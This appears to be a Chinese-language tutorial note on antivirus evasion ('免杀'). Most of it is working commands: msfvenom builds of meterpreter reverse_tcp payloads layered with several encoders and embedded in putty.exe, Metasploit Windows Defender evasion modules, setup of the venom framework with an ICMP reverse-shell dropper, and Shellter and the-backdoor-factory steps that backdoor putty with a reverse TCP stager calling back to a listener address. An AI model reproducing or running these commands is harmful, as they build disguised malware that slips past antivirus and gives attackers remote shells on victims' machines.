免杀2

metasploit免杀

python:

python分为python2 和 python3

区分: python2: print “helloworld”

​ python3: print(“helloworld”)

安装第三方模块: pip install moduleName -i https://pypi.douban.com/simplehttps://pypi.douban.com/simple

动态查杀: 指的是文件运行的时候,杀软进行的扫描

静态查杀: 指的是文件未被运行的时候,杀软进行的扫描

不管怎么做免杀,都要确保程序能够运行,免杀效果怎么样要自己去试

自编码免杀

模板注入

模板注入+编码免杀

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=4444 -e x86/shikata_ga_nai -i 15 -x putty.exe -f exe -o payload.exe

多重编码免杀

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.135 lport=4444 -e x86/shikata_ga_nai -i 15  -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 5 -f raw | msfvenom -a x86 --platform windows -e x86/xor_dynamic -f  exe -o anti.exe

evasion: msf针对 AMSI: 防恶意接口windows defender 做的免杀模块

1
2
windows/windows_defender_exe
windows/windows_defender_js_hta

hta: html application –> 把html文件后缀改为hta, 本身就是一个可执行程序

免杀框架

venom:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
git clone https://github.com/r00t-3xp10it/venom.git
cd venom-main
sudo find ./ -name "*.sh" -exec chmod +x {} \;
sudo find ./ -name "*.py" -exec chmod +x {} \;
cd aux && sudo ./setup.sh
sudo ./venom.sh
更新:sudo ./venom.sh -u



AGENT Nº21:
───────────
DESCRIPTION : ICMP (ping) Reverse Shell
TARGET SYSTEMS : Windows (vista|7|8|8.1|10)
AGENT EXTENSION(拓展-->后缀名) : EXE
DROPPER EXTENSION : BAT
AGENT EXECUTION(执行命令) : http://192.168.135/dropper.bat
DISCLOSURE BY : @Daniel Compton (icmpsh.exe)

举例:
AGENT Nº2:
──────────
TARGET SYSTEMS : Windows
SHELLCODE FORMAT : DLL
AGENT EXTENSION : DLL|CPL
AGENT EXECUTION : rundll32.exe agent.dll,main | press to exec (cpl)
DETECTION RATIO : http://goo.gl/dBGd4x

执行: rundll32 agent.dll,main


powershell执行base64编码的payload:
powershell -enc payload

shellter:

PE: 是各类文件的统称 –> .txt .bat .exe …

1
2
3
4
5
6
7
8
9
A/M/H
A: auto --> 快速配置
M: manual --> 手动配置
H: help

PE target: 需要写入模板的绝对路径,并且源文件备份导了backups中
stealth mode: 隐身模式保留了受感染PE文件的原始功能,因此“隐身”是指人为因素。
如果你只是需要一个后门,不要启用这个功能。
use payload: L

the-backdoor-factory:

1
2
3
4
5
6
7
8
9
10
11
12
13
常用:
-c:code cave(代码裂缝)
-l:代码裂缝⼤⼩
-s:选择使⽤ payload 类型
-H:选择回连服务器地址
-P:回连服务器端⼝
-J:使⽤多代码裂缝

基操:
1. ./backdoor.py -f putty-32bit.exe -S 检测是否可以插入shellcode
2. ./backdoor.py -f putty-32bit.exe -c -l 500 探测代码裂缝
3. ./backdoor.py -f /root/putty.exe -s show 列出payload
4. ./backdoor.py -f ~/putty.exe -s iat_reverse_tcp_stager_threaded -H 10.211.55.2 -P 3333 -J -o payload.exe 生成木马